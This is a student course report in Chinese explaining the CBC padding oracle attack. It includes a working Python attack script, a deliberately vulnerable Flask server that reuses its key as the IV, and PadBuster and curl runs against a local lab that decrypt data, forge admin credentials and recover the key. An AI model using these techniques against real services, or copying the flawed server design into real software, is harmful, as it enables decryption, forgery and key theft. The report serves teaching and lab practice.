2018-2019-2 20165334《网络对抗技术》 期末免考项目:关于CBC Padding Oracle Attack 的研究及渗透测试
研究背景
ASP.NET的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一。Oracle不是数据库Oracle,通常是指服务器端,padding oracle针对的是加密算法中的CBC Mode,当加密算法使用CBC Mode时,如果满足攻击条件,那么利用 Padding Oracle 能够在不知道密钥的情况下,解密任意密文,或者构造出任意明文的合法密文。
Padding Oracle攻击指应用在解密客户端提交的加密数据时,泄露了解密数据的分段填充是否合法的信息。攻击者利用Padding Oracle可以在不知道加密程序所使用的密钥的情况下,解密数据或者加密任意数据。即使应用程序确认加密数据的完整性,仍会导致该程序仍有敏感数据泄露和越权漏洞的风险。
密文在被解密时,会被分成若干个数据块,每个数据块有固定的长度,常见的加密算法大多为8字节或16字节。当数据不满足指定长度时,程序会通过指定的方式进行填充,以方便在解密时能剥除这些这些填充数据。常见的填充标准有PKCS#7。当填充内容与标准要求的语法不一致时,会生成一个错误。如果应用在解析客户端提交的加密信息时泄露了这个填充出错的状态信息,就形成了Padding Oracle。
目录
- 1、相关基础知识学习
- 1.1分组密码简介
- 1.2分组密码之cbc模式
- 1.3填充模式PKCS#5
- 2.cbc Padding Oracle attack破解过程分析
-2.1正常的解密过程
-2.2攻击过程
-2.3破解实现 - 3.自动化攻击实现
3.1工具介绍
3.1.1 padbuster
3.1.2 curl
3.2破解过程记录
3.2.1 简单的padding oracle场景
3.2.2 一个更加复杂的例子
3.2.3 加密自定义值
3.2.4 获取加密密钥
3.2.5 附页:密文块
1.相关基础知识学习
1.1分组密码简介
在密码学中,分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和 对称密钥对每组分别加密解密。
1.2分组密码之"cbc模式"
首先是CBC模式:CBC模式是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这可以强化加密算法的”敏感性”,即实现所谓的”雪崩效应”,在香浓理论中这就是”扰乱原则”(百度得到的定义不理解也不影响后面)。CBC是一种加密的模式,经常把DES或者AES算法(两种分组密码算法)作为加密使用的算法。这里先简单介绍一下分组加密,所谓分组加密顾名思义,就是按一定规则把明文分成一块一块的小组,DES分组长度是八字节而AES分组长度是十六字节,每组长度一致,加密时是按组进行加密的。
- CBC模式的加密过程如下图所示:
图中的Plaintext就是按一定长度(长度取决于选用的加密算法)分好的待加密的明文组,Initialization Vector(IV值)是一个预设值,加密算法的密钥key也是设置好的。第一块明文和初始的IV值异或得到一个中间值,把这个中间值用CBC模式选用的加密方式(如AES)进行加密得到第一块密文,第二块明文和第一块密文异或得到中间值,对中间值加密得到第二块密文,以此类推第n块明文和第n-1块密文异或得到中间值然后再对中间值异或得到第n块密文,把这n块密文连在一起便得到了明文用CBC模式加密后的密文。
- CBC模式解密过程是加密过程的逆过程,如下图所示:
首先按照一定长度将密文分好组,其中密文的第一组是初始的IV值,第二组密文对应第一组明文。分好组后,从第二组密文开始依次用算法进行解密运算得到n组中间值,这时候得到的值并不是明文,要想得到明文还需进行一次异或操作,第一个中间值与初始IV值异或得到明文,第二个中间值与前一组的密文异或得到第二组明文,以此类推最后一组中间值与倒数第二组密文进行亦或便可得到最后一组明文,将所有的明文连在一起便是最终的明文。
1.3填充模式PKCS#5
既然CBC模式涉及到分组,那么就一定存在不能恰好被平均分组的情况,也就是说最后一组的长度可能不够长,这时候就需要对最后一组分组进行填充,使其和其他分组保持长度一致,这时候就需要了解一下填充所要遵循的规则了。对于采用DES算法进行加密的内容,填充规则遵循的是PKCS #5,而AES则是PKCS #7,实际上两者的要求基本一样,区别在于PKCS #5填充是八字节分组而PKCS #7是十六字节,换句话说就是填充的最大位数不一样,一个是0到8一个是0到16,下面我介绍一下PKCS #5的要求。为了保证每一组的长度一致,做法是在最后一个分组后填充一个固定的值,这个值的大小为填充的字节总数(十六进制表示)。例如最后还差4个字符,则填充四个0×04在最后,对于PKCS #5最多填充八位也就是八个0×08,所以填充字节的取值范围是0×01到0×08。需注意即便分组内容能正好平均分为n组,仍需要在最后一组后面填充一个八位分组,如下图所示:
2、 CBC Padding Oracle attack破解过程分析
2.1.正常的解密过程
首先,CBC模式下AES的解密需要知道IV值与密钥。这个应该很好理解。Block Cipher Decryption
肯定需要知道密钥来解密,而CBC模式需要IV值来解密。
而服务器端仅仅保留了密钥,没有保留IV值。因为默认情况下加密后的文件会把IV值附在文件开头,因此服务器会直接使用传给它的文件开头8或16位(视加密方式而定),作为IV值。
在此我们停一下,先举个例子,详细解释一下CBC模式下AES加密过的密文如何正常解密得到明文。
比方说,我们有密文9F0B13944841A832B2421B9EAF6D9836813EC9D944A5C8347A7CA69AA34D8DC0DF70E343C4000A2AE35874CE75E64C31
。这段密文用CBC模式下AES加密,并且已知key和IV值。接下来我们进行解密。首先,AES是一种分组密码,每组由16字节组成。密文是用十六进制表示的,也就是相邻两位数字合在一起组成一个十六进制数,用来表示一字节。密文长度为96,按照32一组进行分组,则恰好可以分为三组。我们把这三组密文存到一个数组C里,以后用C[0], C[1], C[2]来表示这三组密文。然后我们看一下解密用的图。
如上图所示,我已经在图中标出了C[0],C[1],C[2]的位置。我们正常解密时,先用C[0]与Key解密AES,然后得到一个中间值,这个中间值与IV值进行异或,得到第一段明文。而C[0]作为新的IV值,与C[1]在AES解密后的中间值进行异或,从而得到第二段明文。第三段以此类推。这就是一个正常解密的过程。
下图中把“中间值”这个概念用红圈表示了出来。千万千万要好好看懂解密过程以及“中间值”究竟代表什么,这是本攻击的关键。
而Padding Oracle 攻击的重点,就在于上一段提到的中间值。我们解密的时候是从左往右,也就是先从C[0]开始解密;而服务器是从右往左,也就是先解密C[2]。
那么问题又来了:服务器如何知道自己解密后得到的结果是否正确呢?
因为服务器无法判断解密后明文是否有具体含义,因此它也就不从含义上去判断。它判断的方式很简单粗暴,就是利用Padding值来进行判断。
如果解密过程没有问题,明文验证(如用户名密码验证)也通过,则会返回正常 HTTP 200
如果解密过程没有问题,但是明文验证出错(如用户名密码验证),则还是会返回 HTTP 200,只是内容上是提示用户用户名密码错误
如果解密过程出问题了,比如Padding规则核对不上,则会爆出 HTTP 500错误。
2.2 攻击过程
本次攻击的关键,集中在我用红圈圈起来的地方。
也就是C[0]. C[1]. C[2]分别用key对AES进行解密,但是还没有与IV值异或的那个值。本文把那个值称为中间值。
上图是正常解密的结果。而本次攻击的关键,就在被绿色标注的那一行。本文把绿色标注那一行的值称为中间值。
根据上面的CBC模式解密的图,我们可以知道,解密会先使用AES解密得到一个中间值,然后在通过中间值与IV值的异或,最后得到明文。
而padding oracle攻击的本质,其实就是通过传递密文以及自己猜测的IV值,通过观察服务器对padding判断的结果,进而反推出中间值,最后用中间值与正确的IV异或得到明文。
也就是这个攻击直接跳过了AES,而针对CBC进行攻击。
需要注意的是,自己传递的IV值与正确的IV值不能混淆。鉴于图中自己传递的IV值为黄色,因此下称自己传递的IV值为黄IV,正确的IV值为原IV。
我们再来想想服务器是怎么解密的:从右往左。
再看看CBC模式解密的那张图,从右往左,就是说先解密C[2]。而解密时,就会用C[1]当做IV值,来与C[2]解密后得到的中间值进行异或,进而得到明文。
而我们首先需要自己构造C[1]中的值,也即在上面图片中的黄IV值,构造以后与C[2]解密得到的中间值进行异或。
并且根据上面服务器判断解密过程是否正确的条件来看,只要最后padding值与个数相对应即可。
因此,我们可以一位一位的构造,第一次先通过改变黄IV值,产生padding结果为1的情况,即可倒推出中间值。
那么我们开始进行破解。
第一次循环
还记得我们前面提到的服务器判断方式吗?就是只需要padding的值与个数相符即可。
而在第一次循环里,我们只需要构造C[1],使得与C[2]产生的中间值异或以后,得到的最后一位为0×01即可。
C[1]是一个十六位的数组(相邻两位算作一个十六进制数)。我们可以使它前15位均为随机数。因为如果是随机数的话,与中间值异或后的结果也是一个随机数,不太可能恰好是0×01,因此就避免了你最后一位得到0×01,而前一位恰好也是0×01导致个数不符,服务器判断为错的尴尬。C[1]最后一位从00到ff进行尝试。根据上面所说,会有一个值恰好与C[2]解密后的中间值异或后会得到0×01这个结果。这时服务器返回显示正确。
返回正确时,意味着如下公式成立:
C1 ^ 中间值的最后一位 = 0×01
那么按照异或运算的性质,我们不难得到:
中间值的最后一位 = C1 ^ 0×01
这样我们就成功得到了中间值的最后一位。
第二次至第N次循环
Padding值为1的情况结束后,再用同样方法尝试2 。但是要注意,为了让服务器判断正确,我们需要使最后两位结果都为2 。那么,倒数第二位是我们本次循环的尝试位,倒数第一位如何确定呢?
因为我们在padding值为1的时候,已经通过尝试得到了正确的中间值。因此,我们只需要将中间值与0×02进行异或的结果放到此处即可。
参考下式会更容易理解:
C1 = 上一步得到的中间值最后一位 ^ 0×02
这里可能有人会问,为什么这一步的C1和上一步的不一样了?
这是因为我们是在通过穷举法来破解。我们在穷举的时候,是把整个C[1]都当做了可以改变的对象,目的就是通过改变C[1]来解除C[2]的中间值。因此上一步我们求出来了中间值以后,C1就可以被我们继续改变了。
而在这一次,我们是为了让padding值为2,这就意味着最后两位都需要为0×02。而倒数第二位是我们这次穷举需要改变的值,那么我们就需要让C1与最后一位的中间值异或以后,能得到0×02。
而最后一位中间值我们已经求得了。因此在这一轮循环里,我们要让C1固定,这样异或后的结果为0×02,我们也就可以愉快的继续穷举倒数第二位了。
之后的操作也与此相同。第n轮循环的时候,只要把C[1]倒数第n-1一直到倒数第一位的值全部固定,使得他们与得到的中间值异或后得到n就可以了。
在整个C[2]破解结束后,我们会得到这个块中所有的中间值。这时,我们只需要掏出未经改变的C[1] ,也就是原IV,与中间值异或,就可以得到C[2]块的全部明文了。
之后我们再用相同的方法破解C[1],就能得到全部明文了。
从上面的破解过程可以看出得出破解的前提
1.攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量)
- 攻击者能够触发密文的解密过程,且能够知道密文的解密结果
2.4破解实现
伪代码
- 假设有密文cipher,长度为32字节(如果密文长度只有16字节,那么就将IV加在密文前面,变成32字节)
,分成两组prev=cipher[0:16],current=cipher[16:32]。 - 设一个tmp_prev为16个0×00组成,
- 设de_current为current经过分组加密算法解密后的值
plaintext为current解密后对应的明文
然后修改tmp_prev[15]的内容,从0×00遍历到0xff,有且仅有一个值使得tmp_prev+current的解密时满足padding规则的,此时解密后的最后一个字节内容应该是0×01
针对0×01来看下以下的表达式:
tmp_prev[15] Xor de_current[15] = 0×01 (1)
prev[15] Xor de_current[15] = plaintext[15] (2)
(1),(2)两个表达式左右两边再进行异或,等式还是成立的,因此得到下面的等式:
tmp_prev[15] Xor prev[15] = plaintext[15] Xor 0×01
所以
plaintext[15] = tmp_prev[15] Xor prev[15] Xor 0×01
这样就能获得明文的最后一个字节了。
测试源码如下
from Crypto.Cipher import AES
from Crypto import Random
from binascii import b2a_hex,a2b_hex
import random
import string
def pad(plaintext): //填充函数
block_size=16
num = block_size - len(plaintext)%block_size
padding = hex(num)[2:] if num>0x0f else '0'+hex(num)[2:]
return a2b_hex(b2a_hex(plaintext)+padding*num)
def encrypt(key,iv,plaintext): //加密函数
key_len = len(key)
if not (key_len == 16 or key_len == 24 or key_len == 32):
print "key length is invalid"
return ""
pad_plaintext = pad(plaintext)
aes_encrypt = AES.new(key,AES.MODE_CBC,IV=iv)
return b2a_hex(aes_encrypt.encrypt(pad_plaintext))
def decrypt(key,iv,cipher): //解密函数
key_len = len(key)
if not (key_len == 16 or key_len == 24 or key_len == 32):
print "key length is invalid"
return 500,""
if len(iv) != 16:
print "IV length is invalid"
return 500,""
aes_decrypt = AES.new(key,AES.MODE_CBC,IV=iv)
pad_plaintext = aes_decrypt.decrypt(a2b_hex(cipher))
length = len (pad_plaintext)
num = ord(pad_plaintext[length-1])
if num < 1 or num > 16:
return 500,""
for i in range(1,num):
if ord(pad_plaintext[length-1-i]) != num:
return 500,""
plaintext = pad_plaintext[:length-num]
return 200,b2a_hex(plaintext)
def blackbox(iv=None,cipher=None): //返回结果是随机生成的IV以及加密后的密文
key="1234567890123456"
if iv is None:
iv = Random.new().read(AES.block_size)
plaintext=''.join(random.choice(string.ascii_letters) for _ in range(33))
print "random plaintext:"+plaintext
cipher = encrypt(key, iv, plaintext)
return b2a_hex(iv),cipher
else:
status,plaintext = decrypt(key, iv, cipher)
return status
def padding_attack(iv,prev,current): //填充攻击函数
tmp_prev = bytearray(16)
byte_plain = bytearray(16)
for i in range (0,16):
if i != 0:
for j in range (0,i):
tmp_prev[15-j] = prev[15-j] ^ byte_plain[15-j] ^ (i+1)
for test in range (0,256):
tmp_prev[15-i] = test
status = blackbox(iv, b2a_hex(str(tmp_prev+current)))
if status == 200:
byte_plain[15-i] = tmp_prev[15-i] ^ (i+1) ^ prev[15-i]
else:
continue
return byte_plain
def attack(iv,cipher): //破解函数
byte_cipher = bytearray(a2b_hex(cipher))
byte_iv = bytearray(iv)
cipher_length = len(byte_cipher)
num_group = cipher_length / 16
for i in range(0,num_group):
if i == 0:
byte_plain = padding_attack(iv,byte_iv, byte_cipher[i*16:i*16+16])
else:
byte_plain = byte_plain + padding_attack(iv,byte_cipher[(i-1)*16:i*16], byte_cipher[i*16:i*16+16])
return byte_plain[:cipher_length-byte_plain[cipher_length-1]]
def test(): // 测试函数
iv,cipher = blackbox()
iv = a2b_hex(iv)
plaintext = attack(iv, cipher)
print plaintext
test()
自动化攻击的实现(利用PadBuster进行cbc Padding Oracle Attach获取加密密钥)
工具介绍
- PadBuster是一个用于自动填充Oracle攻击的Perl脚本。PadBuster提供解密任意密文,加密任意明文和执行自动响应分析的功能,以确定请求是否容易受到填充oracle攻击
工具参数介绍
使用:padBuster.pl URL EncryptedSample BlockSize [options]
其中:URL =目标URL(以及查询字符串,如果适用)
EncryptedSample =要测试的加密值。必须
也存在于URL,PostData或Cookie中
BlockSize =算法使用的块大小
选项:
-auth [username:password]:HTTP基本身份验证
-bruteforce:对第一个块
-ciphertext [Bytes] 执行暴力:CipherText用于中间字节(Hex-Encoded)
-cookies [HTTP Cookies]:Cookies(name1 = value1; name2 = value2)
-encoding [0-4]:编码样本格式(默认值0)
0 =Base64,1 =下HEX,2 =上HEX 3 = .NET UrlToken,4 = WebSafe Base64 -encodedtext
[编码字符串]:要加密的数据(编码)
- 错误[错误字符串] :填充错误消息
-headers [HTTP标头]:自定义标头(name1 :: value1; name2 :: value2)
-interactive:提示确认解密的字节
-intermediate [Bytes]:CipherText的中间字节(十六进制编码)
-log:生成日志文件(创建文件夹PadBuster.DDMMYY)
-noencode:不对有效负载进行URL编码(默认编码)
-noiv:示例不包括IV(解密第一个块)
-plaintext [String]:纯文本加密
-post [发布数据]:HTTP发布数据字符串
-prefix [前缀]:附加到每个样本的前缀字节(编码)
-proxy [地址:端口]:使用HTTP / S代理
-proxyauth [用户名:密码]:代理验证
-resume [块号]:恢复此块号
-usebody:使用响应正文内容进行响应分析阶段
-verbose:Be Verbose
-veryverbose:非常详细(仅限调试)
curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面
pador.py 是利用python写的一个本地服务器(apache)测试程序本程序利用pkcs#7(和pkcs#5没有区别)填充方式实现128-AES加解密。KEY = “ 0123456789ABCDEF ”初始化iv=key.
代码如下
Testing:
# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame
crypted: 484b850123a04baf15df9be14e87369[..]
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369[..]
decrypted: ApplicationUsername=user&Password=sesame
# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369[..]
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
"""
from flask import Flask, request
import urlparse
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import binascii
KEY = "0123456789ABCDEF"
BLOCK_SIZE = 128
REQUIRED_VALUES = ["ApplicationUsername", "Password"]
app = Flask(__name__)
@app.route('/encrypt')
def generate():
plain = request.args.get('plain', '')
app.logger.debug('plain: {}'.format(repr(plain)))
crypted = binascii.hexlify(encrypt(plain))
app.logger.debug('crypted: {}'.format(crypted))
return 'crypted: {}'.format(crypted)
@app.route('/echo')
def echo():
"""Decrypts the 'cipher' parameter and returns the plaintext. If the
padding is incorrect it returns 'decryption error'."""
crypt = request.args.get('cipher', '')
app.logger.debug('cipher: {}'.format(crypt))
try:
plain = decrypt(binascii.unhexlify(crypt))
except ValueError as e:
app.logger.debug('decryption error: {}'.format(e))
return 'decryption error'
app.logger.debug('plain: {}'.format(plain))
return 'decrypted: {}'.format(plain)
@app.route('/check')
def check():
"""Parse URL-encoded values in decrypted 'cipher' parameter. Returns an
error if it does not find all values in REQUIRED_VALUES. A padding error is
treated the same as way an empty plaintext string."""
crypt = request.args.get('cipher', '')
app.logger.debug('cipher: {}'.format(crypt))
try:
plain = decrypt(binascii.unhexlify(crypt))
except ValueError as e:
app.logger.debug('decryption error: {}'.format(e))
plain = ''
print "plain: {}".format(plain)
values = urlparse.parse_qs(plain)
print "decrypted values: {}".format(values)
for name in REQUIRED_VALUES:
if name not in values:
return '{} missing'.format(name)
return 'decrypted: {}\nparsed: {}'.format(plain, values)
def encrypt(plain):
"""Adds PKCS#7 padding and encrypts with AES-128."""
iv = KEY
backend = default_backend()
padder = padding.PKCS7(BLOCK_SIZE).padder()
padded_data = padder.update(bytes(plain)) + padder.finalize()
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv), backend=backend)
encryptor = cipher.encryptor()
crypted = encryptor.update(padded_data) + encryptor.finalize()
return crypted
def decrypt(crypted):
"""Decrypts with AES-128 and removes PKCS#7 padding."""
iv = KEY
backend = default_backend()
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv), backend=backend)
decryptor = cipher.decryptor()
plain = decryptor.update(crypted)
unpadder = padding.PKCS7(BLOCK_SIZE).unpadder()
unpadded_data = unpadder.update(plain) + unpadder.finalize()
return unpadded_data
if __name__ == '__main__':
app.run(debug=True)
实验过程记录
0×01 简单的padding oracle场景
应用程序解密一个名为‘cipher’的请求参数:
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6
decrypted: ApplicationUsername=user&Password=sesame
因为加密密钥和初始化向量都用来加密和解密这个值,所以我们知道PKCS#5 padding的AES-128和相同的静态密码,并且此处没有HMAC或者其他信息的完整性检查。
关键字PKCS#5和MAC都没有表明应用程序可能容易受到paddingoracle攻击。通过翻转第一块中的二进制位,我们就可以确认这里并没有对解密的数据进行语法检查。此外,我们还可以看到,应用程序顺利地处理了第一块中的垃圾数据:
curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: �+�]7N�d�����N�me=user&Password=sesame
下一步就是检查应用程序对不正确的padding是如何响应的。我们可以通过翻转最后一块中的位来做到这一点。由下面的代码可以看出,对于padding不正确时,应用程序会返回“decryption error”。
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff
decryption error
现在知道这个应用程序包含这种漏洞,所以我们可以运行padbuster来利用它。
padbuster URL EncryptedSample BlockSize [options]
在这种情况下运行padbuster很直观:块大小是16(16字节=128比特位),现在我们唯一需要的额外开关是-encoding 1(小写十六进制)。
请注意,恢复第一块是不可能的。查看下面有关CBC解密的框图能够有助于理解为什么无法恢复。通过利用padding oracle,就有可能在解密第一块之后获得中间值(padbuster中的-noiv选项)。然而,我们不知道计算第一块明文的初始化向量(IV)。意识到,知道明文允许我们计算初始化向量,而它会用作加密密钥,下图更加详细地解释了这一点。
为了节省时间,我们还可以为无效padding指定错误字符串:
-error “decryption error
0×02 一个更加复杂的例子
现在让我们来看一个稍微复杂的场景:对于不正确的padding,应用程序不返回一个特定的错误消息。相反,应用程序解析已解密数据中的一些字段,如果未发现必需字段,则会返回一个错误消息。在这种情况下,所需的字ApplicationUsernam
和Password
。
这里有一个成功请求的例子:“cipher”参数成功解密并包含所有必需的字段。应用程序以解密值和所有解析的字段响应请求。
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
如果我们发送一个仅仅包含一个“Password”字段的请求,那么应用程序将返回“ApplicationUsername missing”。
curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a
decrypted: Password=sesame
curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a
ApplicationUsername missing
而在加密值仅仅包含一个“ApplicationUsername”字段时,应用程序将返回“Password missing”。
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54
decrypted: ApplicationUsername=user
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54
Password missing
当篡改最后一块时,padding将变成无效。结果,因为应用程序无法解密“cipher”参数,所以会返回 “ApplicationUsername missing”。
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff
ApplicationUsername missing
不幸的是,使用最小项(minimal options)启动padbuster会失败:当它试图暴力破解第一块时,总是遇到同样的错误消息(ApplicationUsername missing)。
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 [snip]
ERROR: All of the responses were identical.
Double check the Block Size and try again.
但是,我们仍然可以利用应用程序检查字段的顺序特点来破解:如果padding无效,它仍旧会返回“ApplicationUsername missing”。我们只需要预先考虑包含“ApplicationUsername”字段的加密数据:如果padding是正确的,那么我们会得到不同的响应。通过这种方式,我们可以解密除第一块之外的所有块。
在下面的例子中,在执行padding oracle攻击时,我们预先考虑了密文的前两个块,这是因为“ApplicationUsername”字段横跨了两个块(见附录)。
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| [email protected] |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
0×03 加密
我们也可以加密任意内容,不过,唯一的限制是不能控制第一块,这是因为此时静态初始化向量正在被占用。如果我们用“=bla&”终止第一块中无法控制的数据,那么应用程序将仍然接受由此产生的密文。注意,我们精心编制的密文不必具有与原始密文相同的长度。
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"
[snip]
[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------
curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin
parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}
0×04 获得密钥
能够解密并编造“cipher”参数都非常糟糕了,但为密钥设置初始化向量却引入了另一个漏洞:初始化向量(以及由此产生的加密密钥)是第一块与解密第一块所产生的中间值进行XOR运算得到的明文.
我们可以这样假设,攻击者可以根据以下信息猜出明文:规范、从padding oracle攻击中的解密部分或者应用程序展示的消息。
通过使用padbuster 的“-noiv”开关,我们能够得到解密第一块后的中间值:
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv
[snip]
Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[snip]
一旦我们得到中间值,那么我们将其与明文进行XOR运算就可以获取加密密钥:
0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)
0×05 附录:密文块
块1: 484b850123a04baf15df9be14e87369b ApplicationUsern
块2: c59ca16e1f3645ef53cc6a4d9d87308e ame=user&Passwor
块3: d2382fb0a54f3a2954bfebe0a04dd4d6 d=sesame[padding]
实践感想
通过近一个月的时间终于完成了本次实验,很感谢刘老师这一学期的帮助,在“做中学”的教学模式下学到很多知识,个人认为这是大学最有意思的一门课。这次实践涉题目来自一篇国外论文 ,实验的难度远比我想象中的困难,涉及到密码学很多知识,于是温习了很多密码学的知识,断断续续论文看了近一周的时间才看懂,代码实现方面由于python容易实现,学习了一段时间的python,参考了网上一些代码,最终完成了实验,虽然过程很痛苦但还是收获颇丰,以前学的密码学真的有用,通过这次实验对密码破解有了很高的兴趣,于是又做了WiFi破解方面的尝试。
参考文章
Automated Padding Oracle Attacks with PadBuster
CBC中Padding Oracle攻击的再解读,如何攻破HTTPS?
PadBuster